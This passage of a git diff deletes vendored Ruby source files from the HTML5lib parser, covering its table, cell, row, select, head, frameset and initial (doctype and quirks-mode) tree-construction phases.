-      # "article", "aside", "header", "footer", "datagrid", "command"
-      # STDERR.puts "Warning: Undefined behaviour for end tag #{name}"
-      endTagOther(name)
-      #raise NotImplementedError
-    end
-
-    def endTagOther(name)
-      # XXX This logic should be moved into the treebuilder
-      @tree.open_elements.reverse.each do |node|
-        if node.name == name
-          @tree.generateImpliedEndTags
-
-          unless @tree.open_elements.last.name == name
-            parse_error("unexpected-end-tag", {"name" => name})
-          end
-
-          remove_open_elements_until {|element| element == node }
-
-          break
-        else
-          if (SPECIAL_ELEMENTS + SCOPING_ELEMENTS).include?(node.name)
-            parse_error("unexpected-end-tag", {"name" => name})
-            break
-          end
-        end
-      end
-    end
-
-    protected
-
-    def addFormattingElement(name, attributes)
-      @tree.insert_element(name, attributes)
-      @tree.activeFormattingElements.push(@tree.open_elements.last)
-    end
-
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_caption_phase.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_caption_phase.rb
deleted file mode 100644
index ae56603d..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_caption_phase.rb
+++ /dev/null
@@ -1,69 +0,0 @@
-require 'html5/html5parser/phase'
-
-module HTML5
-  class InCaptionPhase < Phase
-
-    # http://www.whatwg.org/specs/web-apps/current-work/#in-caption
-
-    handle_start 'html', %w(caption col colgroup tbody td tfoot th thead tr) => 'TableElement'
-
-    handle_end 'caption', 'table', %w(body col colgroup html tbody td tfoot th thead tr) => 'Ignore'
-
-    def ignoreEndTagCaption
-      !in_scope?('caption', true)
-    end
-
-    def processCharacters(data)
-      @parser.phases[:inBody].processCharacters(data)
-    end
-
-    def startTagTableElement(name, attributes)
-      parse_error "unexpected-end-tag", {"name" => name}
-      #XXX Have to duplicate logic here to find out if the tag is ignored
-      ignoreEndTag = ignoreEndTagCaption
-      @parser.phase.processEndTag('caption')
-      @parser.phase.processStartTag(name, attributes) unless ignoreEndTag
-    end
-
-    def startTagOther(name, attributes)
-      @parser.phases[:inBody].processStartTag(name, attributes)
-    end
-
-    def endTagCaption(name)
-      if ignoreEndTagCaption
-        # inner_html case
-        assert @parser.inner_html
-        parse_error "unexpected-end-tag", {"name" => name}
-      else
-        # AT this code is quite similar to endTagTable in "InTable"
-        @tree.generateImpliedEndTags
-
-        unless @tree.open_elements[-1].name == 'caption'
-          parse_error("expected-one-end-tag-but-got-another",
-                    {"gotName" => "caption",
-                     "expectedName" => @tree.open_elements.last.name})
-        end
-
-        remove_open_elements_until('caption')
-
-        @tree.clearActiveFormattingElements
-        @parser.phase = @parser.phases[:inTable]
-      end
-    end
-
-    def endTagTable(name)
-      parse_error "unexpected-end-table-in-caption"
-      ignoreEndTag = ignoreEndTagCaption
-      @parser.phase.processEndTag('caption')
-      @parser.phase.processEndTag(name) unless ignoreEndTag
-    end
-
-    def endTagIgnore(name)
-      parse_error("unexpected-end-tag", {"name" => name})
-    end
-
-    def endTagOther(name)
-      @parser.phases[:inBody].processEndTag(name)
-    end
-  end
-end
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_cell_phase.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_cell_phase.rb
deleted file mode 100644
index 29453735..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_cell_phase.rb
+++ /dev/null
@@ -1,78 +0,0 @@
-require 'html5/html5parser/phase'
-
-module HTML5
-  class InCellPhase < Phase
-
-    # http://www.whatwg.org/specs/web-apps/current-work/#in-cell
-
-    handle_start 'html', %w( caption col colgroup tbody td tfoot th thead tr ) => 'TableOther'
-
-    handle_end %w( td th ) => 'TableCell', %w( body caption col colgroup html ) => 'Ignore'
-
-    handle_end %w( table tbody tfoot thead tr ) => 'Imply'
-
-    def processCharacters(data)
-      @parser.phases[:inBody].processCharacters(data)
-    end
-
-    def startTagTableOther(name, attributes)
-      if in_scope?('td', true) or in_scope?('th', true)
-        closeCell
-        @parser.phase.processStartTag(name, attributes)
-      else
-        # inner_html case
-        parse_error
-      end
-    end
-
-    def startTagOther(name, attributes)
-      @parser.phases[:inBody].processStartTag(name, attributes)
-    end
-
-    def endTagTableCell(name)
-      if in_scope?(name, true)
-        @tree.generateImpliedEndTags(name)
-        if @tree.open_elements.last.name != name
-          parse_error("unexpected-cell-end-tag", {"name" => name})
-
-          remove_open_elements_until(name)
-        else
-          @tree.open_elements.pop
-        end
-        @tree.clearActiveFormattingElements
-        @parser.phase = @parser.phases[:inRow]
-      else
-        parse_error("unexpected-end-tag", {"name" => name})
-      end
-    end
-
-    def endTagIgnore(name)
-      parse_error("unexpected-end-tag", {"name" => name})
-    end
-
-    def endTagImply(name)
-      if in_scope?(name, true)
-        closeCell
-        @parser.phase.processEndTag(name)
-      else
-        # sometimes inner_html case
-        parse_error "unexpected-end-tag", {:name => name}
-      end
-    end
-
-    def endTagOther(name)
-      @parser.phases[:inBody].processEndTag(name)
-    end
-
-    protected
-
-    def closeCell
-      if in_scope?('td', true)
-        endTagTableCell('td')
-      elsif in_scope?('th', true)
-        endTagTableCell('th')
-      end
-    end
-
-  end
-end
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_column_group_phase.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_column_group_phase.rb
deleted file mode 100644
index 0689af9f..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_column_group_phase.rb
+++ /dev/null
@@ -1,55 +0,0 @@
-require 'html5/html5parser/phase'
-
-module HTML5
-  class InColumnGroupPhase < Phase
-
-    # http://www.whatwg.org/specs/web-apps/current-work/#in-column
-
-    handle_start 'html', 'col'
-
-    handle_end 'colgroup', 'col'
-
-    def ignoreEndTagColgroup
-      @tree.open_elements[-1].name == 'html'
-    end
-
-    def processCharacters(data)
-      ignoreEndTag = ignoreEndTagColgroup
-      endTagColgroup("colgroup")
-      @parser.phase.processCharacters(data) unless ignoreEndTag
-    end
-
-    def startTagCol(name, attributes)
-      @tree.insert_element(name, attributes)
-      @tree.open_elements.pop
-    end
-
-    def startTagOther(name, attributes)
-      ignoreEndTag = ignoreEndTagColgroup
-      endTagColgroup('colgroup')
-      @parser.phase.processStartTag(name, attributes) unless ignoreEndTag
-    end
-
-    def endTagColgroup(name)
-      if ignoreEndTagColgroup
-        # inner_html case
-        assert @parser.inner_html
-        parse_error "unexpected-end-tag", {:name => name}
-      else
-        @tree.open_elements.pop
-        @parser.phase = @parser.phases[:inTable]
-      end
-    end
-
-    def endTagCol(name)
-      parse_error("no-end-tag", {"name" => "col"})
-    end
-
-    def endTagOther(name)
-      ignoreEndTag = ignoreEndTagColgroup
-      endTagColgroup('colgroup')
-      @parser.phase.processEndTag(name) unless ignoreEndTag
-    end
-
-  end
-end
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_frameset_phase.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_frameset_phase.rb
deleted file mode 100644
index 19c42a53..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_frameset_phase.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-require 'html5/html5parser/phase'
-
-module HTML5
-  class InFramesetPhase < Phase
-
-    # http://www.whatwg.org/specs/web-apps/current-work/#in-frameset
-
-    handle_start 'html', 'frameset', 'frame', 'noframes'
-
-    handle_end 'frameset', 'noframes'
-
-    def processCharacters(data)
-      parse_error("unexpected-char-in-frameset")
-    end
-
-    def startTagFrameset(name, attributes)
-      @tree.insert_element(name, attributes)
-    end
-
-    def startTagFrame(name, attributes)
-      @tree.insert_element(name, attributes)
-      @tree.open_elements.pop
-    end
-
-    def startTagNoframes(name, attributes)
-      @parser.phases[:inBody].processStartTag(name, attributes)
-    end
-
-    def startTagOther(name, attributes)
-      parse_error("unexpected-start-tag-in-frameset", {"name" => name})
-    end
-
-    def endTagFrameset(name)
-      if @tree.open_elements.last.name == 'html'
-        # inner_html case
-        parse_error("unexpected-frameset-in-frameset-innerhtml")
-      else
-        @tree.open_elements.pop
-      end
-      if (not @parser.inner_html and
-        @tree.open_elements.last.name != 'frameset')
-        # If we're not in inner_html mode and the the current node is not a
-        # "frameset" element (anymore) then switch.
-        @parser.phase = @parser.phases[:afterFrameset]
-      end
-    end
-
-    def endTagNoframes(name)
-      @parser.phases[:inBody].processEndTag(name)
-    end
-
-    def endTagOther(name)
-      parse_error("unexpected-end-tag-in-frameset", {"name" => name})
-    end
-  end
-end
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_head_phase.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_head_phase.rb
deleted file mode 100644
index c543bba5..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_head_phase.rb
+++ /dev/null
@@ -1,138 +0,0 @@
-require 'html5/html5parser/phase'
-
-module HTML5
-  class InHeadPhase < Phase
-
-    handle_start 'html', 'head', 'title', 'style', 'script', 'noscript'
-    handle_start %w( base link meta )
-
-    handle_end 'head'
-    handle_end %w( html body br p ) => 'ImplyAfterHead'
-    handle_end %w( title style script noscript )
-
-    def process_eof
-      if ['title', 'style', 'script'].include?(name = @tree.open_elements.last.name)
-        parse_error("expected-named-closing-tag-but-got-eof", {"name" => @tree.open_elements.last.name})
-        @tree.open_elements.pop
-      end
-      anything_else
-      @parser.phase.process_eof
-    end
-
-    def processCharacters(data)
-      if %w[title style script noscript].include?(@tree.open_elements.last.name)
-        @tree.insertText(data)
-      else
-        anything_else
-        @parser.phase.processCharacters(data)
-      end
-    end
-
-    def startTagHead(name, attributes)
-      parse_error("two-heads-are-not-better-than-one")
-    end
-
-    def startTagTitle(name, attributes)
-      element = @tree.createElement(name, attributes)
-      appendToHead(element)
-      @tree.open_elements.push(element)
-      @parser.tokenizer.content_model_flag = :RCDATA
-    end
-
-    def startTagStyle(name, attributes)
-      element = @tree.createElement(name, attributes)
-      if @tree.head_pointer != nil and @parser.phase == @parser.phases[:inHead]
-        appendToHead(element)
-      else
-        @tree.open_elements.last.appendChild(element)
-      end
-      @tree.open_elements.push(element)
-      @parser.tokenizer.content_model_flag = :CDATA
-    end
-
-    def startTagNoscript(name, attributes)
-      # XXX Need to decide whether to implement the scripting disabled case.
-      element = @tree.createElement(name, attributes)
-      if @tree.head_pointer !=nil and @parser.phase == @parser.phases[:inHead]
-        appendToHead(element)
-      else
-        @tree.open_elements.last.appendChild(element)
-      end
-      @tree.open_elements.push(element)
-      @parser.tokenizer.content_model_flag = :CDATA
-    end
-
-    def startTagScript(name, attributes)
-      #XXX Inner HTML case may be wrong
-      element = @tree.createElement(name, attributes)
-      element._flags.push("parser-inserted")
-      if @tree.head_pointer != nil and @parser.phase == @parser.phases[:inHead]
-        appendToHead(element)
-      else
-        @tree.open_elements.last.appendChild(element)
-      end
-      @tree.open_elements.push(element)
-      @parser.tokenizer.content_model_flag = :CDATA
-    end
-
-    def startTagBaseLinkMeta(name, attributes)
-      element = @tree.createElement(name, attributes)
-      if @tree.head_pointer != nil and @parser.phase == @parser.phases[:inHead]
-        appendToHead(element)
-      else
-        @tree.open_elements.last.appendChild(element)
-      end
-    end
-
-    def startTagOther(name, attributes)
-      anything_else
-      @parser.phase.processStartTag(name, attributes)
-    end
-
-    def endTagHead(name)
-      if @tree.open_elements.last.name == 'head'
-        @tree.open_elements.pop
-      else
-        parse_error("unexpected-end-tag", {"name" => "head"})
-      end
-      @parser.phase = @parser.phases[:afterHead]
-    end
-
-    def endTagImplyAfterHead(name)
-      anything_else
-      @parser.phase.processEndTag(name)
-    end
-
-    def endTagTitleStyleScriptNoscript(name)
-      if @tree.open_elements.last.name == name
-        @tree.open_elements.pop
-      else
-        parse_error("unexpected-end-tag", {"name" => name})
-      end
-    end
-
-    def endTagOther(name)
-      parse_error("unexpected-end-tag", {"name" => name})
-    end
-
-    def anything_else
-      if @tree.open_elements.last.name == 'head'
-        endTagHead('head')
-      else
-        @parser.phase = @parser.phases[:afterHead]
-      end
-    end
-
-    protected
-
-    def appendToHead(element)
-      if @tree.head_pointer.nil?
-        assert @parser.inner_html
-        @tree.open_elements.last.appendChild(element)
-      else
-        @tree.head_pointer.appendChild(element)
-      end
-    end
-
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_row_phase.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_row_phase.rb
deleted file mode 100644
index 1b8e6c09..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_row_phase.rb
+++ /dev/null
@@ -1,88 +0,0 @@
-require 'html5/html5parser/phase'
-
-module HTML5
-  class InRowPhase < Phase
-
-    # http://www.whatwg.org/specs/web-apps/current-work/#in-row
-
-    handle_start 'html', %w( td th ) => 'TableCell', %w( caption col colgroup tbody tfoot thead tr ) => 'TableOther'
-
-    handle_end 'tr', 'table', %w( tbody tfoot thead ) => 'TableRowGroup', %w( body caption col colgroup html td th ) => 'Ignore'
-
-    def processCharacters(data)
-      @parser.phases[:inTable].processCharacters(data)
-    end
-
-    def startTagTableCell(name, attributes)
-      clearStackToTableRowContext
-      @tree.insert_element(name, attributes)
-      @parser.phase = @parser.phases[:inCell]
-      @tree.activeFormattingElements.push(Marker)
-    end
-
-    def startTagTableOther(name, attributes)
-      ignoreEndTag = ignoreEndTagTr
-      endTagTr('tr')
-      # XXX how are we sure it's always ignored in the inner_html case?
-      @parser.phase.processStartTag(name, attributes) unless ignoreEndTag
-    end
-
-    def startTagOther(name, attributes)
-      @parser.phases[:inTable].processStartTag(name, attributes)
-    end
-
-    def endTagTr(name)
-      if ignoreEndTagTr
-        # inner_html case
-        assert @parser.inner_html
-        parse_error "unexpected-end-tag", {:name => name}
-      else
-        clearStackToTableRowContext
-        @tree.open_elements.pop
-        @parser.phase = @parser.phases[:inTableBody]
-      end
-    end
-
-    def endTagTable(name)
-      ignoreEndTag = ignoreEndTagTr
-      endTagTr('tr')
-      # Reprocess the current tag if the tr end tag was not ignored
-      # XXX how are we sure it's always ignored in the inner_html case?
-      @parser.phase.processEndTag(name) unless ignoreEndTag
-    end
-
-    def endTagTableRowGroup(name)
-      if in_scope?(name, true)
-        endTagTr('tr')
-        @parser.phase.processEndTag(name)
-      else
-        # inner_html case
-        parse_error "unexpected-end-tag", {:name => name}
-      end
-    end
-
-    def endTagIgnore(name)
-      parse_error("unexpected-end-tag-in-table-row",
-              {"name" => name})
-    end
-
-    def endTagOther(name)
-      @parser.phases[:inTable].processEndTag(name)
-    end
-
-    protected
-
-    # XXX unify this with other table helper methods
-    def clearStackToTableRowContext
-      until %w[tr html].include?(name = @tree.open_elements.last.name)
-        parse_error("unexpected-implied-end-tag-in-table-row", {"name" => @tree.open_elements.last.name})
-        @tree.open_elements.pop
-      end
-    end
-
-    def ignoreEndTagTr
-      not in_scope?('tr', :tableVariant => true)
-    end
-
-  end
-end
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_select_phase.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_select_phase.rb
deleted file mode 100644
index 0e16e51b..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_select_phase.rb
+++ /dev/null
@@ -1,85 +0,0 @@
-require 'html5/html5parser/phase'
-
-module HTML5
-  class InSelectPhase < Phase
-
-    # http://www.whatwg.org/specs/web-apps/current-work/#in-select
-
-    handle_start 'html', 'option', 'optgroup', 'select'
-
-    handle_end 'option', 'optgroup', 'select', %w( caption table tbody tfoot thead tr td th ) => 'TableElements'
-
-    def processCharacters(data)
-      @tree.insertText(data)
-    end
-
-    def startTagOption(name, attributes)
-      # We need to imply </option> if <option> is the current node.
-      @tree.open_elements.pop if @tree.open_elements.last.name == 'option'
-      @tree.insert_element(name, attributes)
-    end
-
-    def startTagOptgroup(name, attributes)
-      @tree.open_elements.pop if @tree.open_elements.last.name == 'option'
-      @tree.open_elements.pop if @tree.open_elements.last.name == 'optgroup'
-      @tree.insert_element(name, attributes)
-    end
-
-    def startTagSelect(name, attributes)
-      parse_error("unexpected-select-in-select")
-      endTagSelect('select')
-    end
-
-    def startTagOther(name, attributes)
-      parse_error("unexpected-start-tag-in-select", {"name" => name})
-    end
-
-    def endTagOption(name)
-      if @tree.open_elements.last.name == 'option'
-        @tree.open_elements.pop
-      else
-        parse_error("unexpected-end-tag-in-select", {"name" => "option"})
-      end
-    end
-
-    def endTagOptgroup(name)
-      # </optgroup> implicitly closes <option>
-      if @tree.open_elements.last.name == 'option' and @tree.open_elements[-2].name == 'optgroup'
-        @tree.open_elements.pop
-      end
-      # It also closes </optgroup>
-      if @tree.open_elements.last.name == 'optgroup'
-        @tree.open_elements.pop
-      # But nothing else
-      else
-        parse_error("unexpected-end-tag-in-select",
-                {"name" => "optgroup"})
-      end
-    end
-
-    def endTagSelect(name)
-      if in_scope?('select', true)
-        remove_open_elements_until('select')
-
-        @parser.reset_insertion_mode
-      else
-        # inner_html case
-        parse_error
-      end
-    end
-
-    def endTagTableElements(name)
-      parse_error("unexpected-end-tag-in-select", {"name" => name})
-
-      if in_scope?(name, true)
-        endTagSelect('select')
-        @parser.phase.processEndTag(name)
-      end
-    end
-
-    def endTagOther(name)
-      parse_error("unexpected-end-tag-in-select", {"name" => name})
-    end
-
-  end
-end
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_table_body_phase.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_table_body_phase.rb
deleted file mode 100644
index 8e77bf98..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_table_body_phase.rb
+++ /dev/null
@@ -1,84 +0,0 @@
-require 'html5/html5parser/phase'
-
-module HTML5
-  class InTableBodyPhase < Phase
-
-    # http://www.whatwg.org/specs/web-apps/current-work/#in-table0
-
-    handle_start 'html', 'tr', %w( td th ) => 'TableCell', %w( caption col colgroup tbody tfoot thead ) => 'TableOther'
-
-    handle_end 'table', %w( tbody tfoot thead ) => 'TableRowGroup', %w( body caption col colgroup html td th tr ) => 'Ignore'
-
-    def processCharacters(data)
-      @parser.phases[:inTable].processCharacters(data)
-    end
-
-    def startTagTr(name, attributes)
-      clearStackToTableBodyContext
-      @tree.insert_element(name, attributes)
-      @parser.phase = @parser.phases[:inRow]
-    end
-
-    def startTagTableCell(name, attributes)
-      parse_error("unexpected-cell-in-table-body", {"name" => name})
-      startTagTr('tr', {})
-      @parser.phase.processStartTag(name, attributes)
-    end
-
-    def startTagTableOther(name, attributes)
-      # XXX AT Any ideas on how to share this with endTagTable?
-      if in_scope?('tbody', true) or in_scope?('thead', true) or in_scope?('tfoot', true)
-        clearStackToTableBodyContext
-        endTagTableRowGroup(@tree.open_elements.last.name)
-        @parser.phase.processStartTag(name, attributes)
-      else
-        # inner_html case
-        parse_error "unexpected-start-tag", {:name => name}
-      end
-    end
-
-    def startTagOther(name, attributes)
-      @parser.phases[:inTable].processStartTag(name, attributes)
-    end
-
-    def endTagTableRowGroup(name)
-      if in_scope?(name, true)
-        clearStackToTableBodyContext
-        @tree.open_elements.pop
-        @parser.phase = @parser.phases[:inTable]
-      else
-        parse_error("unexpected-end-tag-in-table-body", {"name" => name})
-      end
-    end
-
-    def endTagTable(name)
-      if in_scope?('tbody', true) or in_scope?('thead', true) or in_scope?('tfoot', true)
-        clearStackToTableBodyContext
-        endTagTableRowGroup(@tree.open_elements.last.name)
-        @parser.phase.processEndTag(name)
-      else
-        # inner_html case
-        parse_error "unexpected-end-tag", {:name => name}
-      end
-    end
-
-    def endTagIgnore(name)
-      parse_error("unexpected-end-tag-in-table-body", {"name" => name})
-    end
-
-    def endTagOther(name)
-      @parser.phases[:inTable].processEndTag(name)
-    end
-
-    protected
-
-    def clearStackToTableBodyContext
-      until %w[tbody tfoot thead html].include?(name = @tree.open_elements.last.name)
-        parse_error("unexpected-implied-end-tag-in-table",
-                {"name" => @tree.open_elements.last.name})
-        @tree.open_elements.pop
-      end
-    end
-
-  end
-end
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_table_phase.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_table_phase.rb
deleted file mode 100644
index c87011ad..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/in_table_phase.rb
+++ /dev/null
@@ -1,115 +0,0 @@
-require 'html5/html5parser/phase'
-
-module HTML5
-  class InTablePhase < Phase
-
-    # http://www.whatwg.org/specs/web-apps/current-work/#in-table
-
-    handle_start 'html', 'caption', 'colgroup', 'col', 'table'
-
-    handle_start %w( tbody tfoot thead ) => 'RowGroup', %w( td th tr ) => 'ImplyTbody'
-
-    handle_end 'table', %w( body caption col colgroup html tbody td tfoot th thead tr ) => 'Ignore'
-
-    def processCharacters(data)
-      parse_error("unexpected-char-implies-table-voodoo")
-      # Make all the special element rearranging voodoo kick in
-      @tree.insert_from_table = true
-      # Process the character in the "in body" mode
-      @parser.phases[:inBody].processCharacters(data)
-      @tree.insert_from_table = false
-    end
-
-    def startTagCaption(name, attributes)
-      clearStackToTableContext
-      @tree.activeFormattingElements.push(Marker)
-      @tree.insert_element(name, attributes)
-      @parser.phase = @parser.phases[:inCaption]
-    end
-
-    def startTagColgroup(name, attributes)
-      clearStackToTableContext
-      @tree.insert_element(name, attributes)
-      @parser.phase = @parser.phases[:inColumnGroup]
-    end
-
-    def startTagCol(name, attributes)
-      startTagColgroup('colgroup', {})
-      @parser.phase.processStartTag(name, attributes)
-    end
-
-    def startTagRowGroup(name, attributes)
-      clearStackToTableContext
-      @tree.insert_element(name, attributes)
-      @parser.phase = @parser.phases[:inTableBody]
-    end
-
-    def startTagImplyTbody(name, attributes)
-      startTagRowGroup('tbody', {})
-      @parser.phase.processStartTag(name, attributes)
-    end
-
-    def startTagTable(name, attributes)
-      parse_error("unexpected-start-tag-implies-end-tag",
-            {"startName" => "table", "endName" => "table"})
-      @parser.phase.processEndTag('table')
-      @parser.phase.processStartTag(name, attributes) unless @parser.inner_html
-    end
-
-    def startTagOther(name, attributes)
-      parse_error("unexpected-start-tag-implies-table-voodoo",
-              {"name" => name})
-      # Make all the special element rearranging voodoo kick in
-      @tree.insert_from_table = true
-      # Process the start tag in the "in body" mode
-      @parser.phases[:inBody].processStartTag(name, attributes)
-      @tree.insert_from_table = false
-    end
-
-    def endTagTable(name)
-      if in_scope?('table', true)
-        @tree.generateImpliedEndTags
-
-        unless @tree.open_elements.last.name == 'table'
-          parse_error("end-tag-too-early-named",
-                    {"gotName" => "table",
-                     "expectedName" => @tree.open_elements.last.name})
-        end
-
-        remove_open_elements_until('table')
-
-        @parser.reset_insertion_mode
-      else
-        # inner_html case
-        assert @parser.inner_html
-        parse_error "unexpected-end-tag", {:name => name}
-      end
-    end
-
-    def endTagIgnore(name)
-      parse_error("unexpected-end-tag", {"name" => name})
-    end
-
-    def endTagOther(name)
-      parse_error("unexpected-end-tag-implies-table-voodoo", {"name" => name})
-      # Make all the special element rearranging voodoo kick in
-      @tree.insert_from_table = true
-      # Process the end tag in the "in body" mode
-      @parser.phases[:inBody].processEndTag(name)
-      @tree.insert_from_table = false
-    end
-
-    protected
-
-    def clearStackToTableContext
-      # "clear the stack back to a table context"
-      until %w[table html].include?(name = @tree.open_elements.last.name)
-        parse_error("unexpected-implied-end-tag-in-table",
-                {"name" =>  @tree.open_elements.last.name})
-        @tree.open_elements.pop
-      end
-      # When the current node is <html> it's an inner_html case
-    end
-
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/initial_phase.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/initial_phase.rb
deleted file mode 100644
index fa6672b8..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/initial_phase.rb
+++ /dev/null
@@ -1,133 +0,0 @@
-require 'html5/html5parser/phase'
-
-module HTML5
-  class InitialPhase < Phase
-
-    # This phase deals with error handling as well which is currently not
-    # covered in the specification. The error handling is typically known as
-    # "quirks mode". It is expected that a future version of HTML5 will define this.
-
-    def process_eof
-      parse_error("expected-doctype-but-got-eof")
-      @parser.phase = @parser.phases[:rootElement]
-      @parser.phase.process_eof
-    end
-
-    def processComment(data)
-      @tree.insert_comment(data, @tree.document)
-    end
-
-    def processDoctype(name, publicId, systemId, correct)
-      if name.downcase != 'html' or publicId or systemId
-        parse_error("unknown-doctype")
-      end
-      # XXX need to update DOCTYPE tokens
-      @tree.insertDoctype(name, publicId, systemId)
-
-      publicId = publicId.to_s.upcase
-
-      if name.downcase != 'html'
-        # XXX quirks mode
-      else
-        if ["+//silmaril//dtd html pro v0r11 19970101//en",
-            "-//advasoft ltd//dtd html 3.0 aswedit + extensions//en",
-            "-//as//dtd html 3.0 aswedit + extensions//en",
-            "-//ietf//dtd html 2.0 level 1//en",
-            "-//ietf//dtd html 2.0 level 2//en",
-            "-//ietf//dtd html 2.0 strict level 1//en",
-            "-//ietf//dtd html 2.0 strict level 2//en",
-            "-//ietf//dtd html 2.0 strict//en",
-            "-//ietf//dtd html 2.0//en",
-            "-//ietf//dtd html 2.1e//en",
-            "-//ietf//dtd html 3.0//en",
-            "-//ietf//dtd html 3.0//en//",
-            "-//ietf//dtd html 3.2 final//en",
-            "-//ietf//dtd html 3.2//en",
-            "-//ietf//dtd html 3//en",
-            "-//ietf//dtd html level 0//en",
-            "-//ietf//dtd html level 0//en//2.0",
-            "-//ietf//dtd html level 1//en",
-            "-//ietf//dtd html level 1//en//2.0",
-            "-//ietf//dtd html level 2//en",
-            "-//ietf//dtd html level 2//en//2.0",
-            "-//ietf//dtd html level 3//en",
-            "-//ietf//dtd html level 3//en//3.0",
-            "-//ietf//dtd html strict level 0//en",
-            "-//ietf//dtd html strict level 0//en//2.0",
-            "-//ietf//dtd html strict level 1//en",
-            "-//ietf//dtd html strict level 1//en//2.0",
-            "-//ietf//dtd html strict level 2//en",
-            "-//ietf//dtd html strict level 2//en//2.0",
-            "-//ietf//dtd html strict level 3//en",
-            "-//ietf//dtd html strict level 3//en//3.0",
-            "-//ietf//dtd html strict//en",
-            "-//ietf//dtd html strict//en//2.0",
-            "-//ietf//dtd html strict//en//3.0",
-            "-//ietf//dtd html//en",
-            "-//ietf//dtd html//en//2.0",
-            "-//ietf//dtd html//en//3.0",
-            "-//metrius//dtd metrius presentational//en",
-            "-//microsoft//dtd internet explorer 2.0 html strict//en",
-            "-//microsoft//dtd internet explorer 2.0 html//en",
-            "-//microsoft//dtd internet explorer 2.0 tables//en",
-            "-//microsoft//dtd internet explorer 3.0 html strict//en",
-            "-//microsoft//dtd internet explorer 3.0 html//en",
-            "-//microsoft//dtd internet explorer 3.0 tables//en",
-            "-//netscape comm. corp.//dtd html//en",
-            "-//netscape comm. corp.//dtd strict html//en",
-            "-//o'reilly and associates//dtd html 2.0//en",
-            "-//o'reilly and associates//dtd html extended 1.0//en",
-            "-//spyglass//dtd html 2.0 extended//en",
-            "-//sq//dtd html 2.0 hotmetal + extensions//en",
-            "-//sun microsystems corp.//dtd hotjava html//en",
-            "-//sun microsystems corp.//dtd hotjava strict html//en",
-            "-//w3c//dtd html 3 1995-03-24//en",
-            "-//w3c//dtd html 3.2 draft//en",
-            "-//w3c//dtd html 3.2 final//en",
-            "-//w3c//dtd html 3.2//en",
-            "-//w3c//dtd html 3.2s draft//en",
-            "-//w3c//dtd html 4.0 frameset//en",
-            "-//w3c//dtd html 4.0 transitional//en",
-            "-//w3c//dtd html experimental 19960712//en",
-            "-//w3c//dtd html experimental 970421//en",
-            "-//w3c//dtd w3 html//en",
-            "-//w3o//dtd w3 html 3.0//en",
-            "-//w3o//dtd w3 html 3.0//en//",
-            "-//w3o//dtd w3 html strict 3.0//en//",
-            "-//webtechs//dtd mozilla html 2.0//en",
-            "-//webtechs//dtd mozilla html//en",
-            "-/w3c/dtd html 4.0 transitional/en",
-            "html"].include?(publicId) or
-          (systemId == nil and
-            ["-//w3c//dtd html 4.01 frameset//EN",
-             "-//w3c//dtd html 4.01 transitional//EN"].include?(publicId)) or
-          (systemId == "http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd")
-            #XXX quirks mode
-          end
-      end
-
-      @parser.phase = @parser.phases[:rootElement]
-    end
-
-    def processSpaceCharacters(data)
-    end
-
-    def processCharacters(data)
-      parse_error("expected-doctype-but-got-chars")
-      @parser.phase = @parser.phases[:rootElement]
-      @parser.phase.processCharacters(data)
-    end
-
-    def processStartTag(name, attributes)
-      parse_error("expected-doctype-but-got-start-tag", {"name" => name})
-      @parser.phase = @parser.phases[:rootElement]
-      @parser.phase.processStartTag(name, attributes)
-    end
-
-    def processEndTag(name)
-      parse_error("expected-doctype-but-got-end-tag", {"name" => name})
-      @parser.phase = @parser.phases[:rootElement]
-      @parser.phase.processEndTag(name)
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/phase.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/phase.rb
deleted file mode 100644
index b6ea65b3..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/phase.rb
+++ /dev/null
@@ -1,154 +0,0 @@
-module HTML5
-  # Base class for helper objects that implement each phase of processing.
-  #
-  # Handler methods should be in the following order (they can be omitted):
-  #
-  #   * EOF
-  #   * Comment
-  #   * Doctype
-  #   * SpaceCharacters
-  #   * Characters
-  #   * StartTag
-  #     - startTag* methods
-  #   * EndTag
-  #     - endTag* methods
-  #
-  class Phase
-
-    extend Forwardable
-    def_delegators :@parser, :parse_error
-
-    # The following example call:
-    #
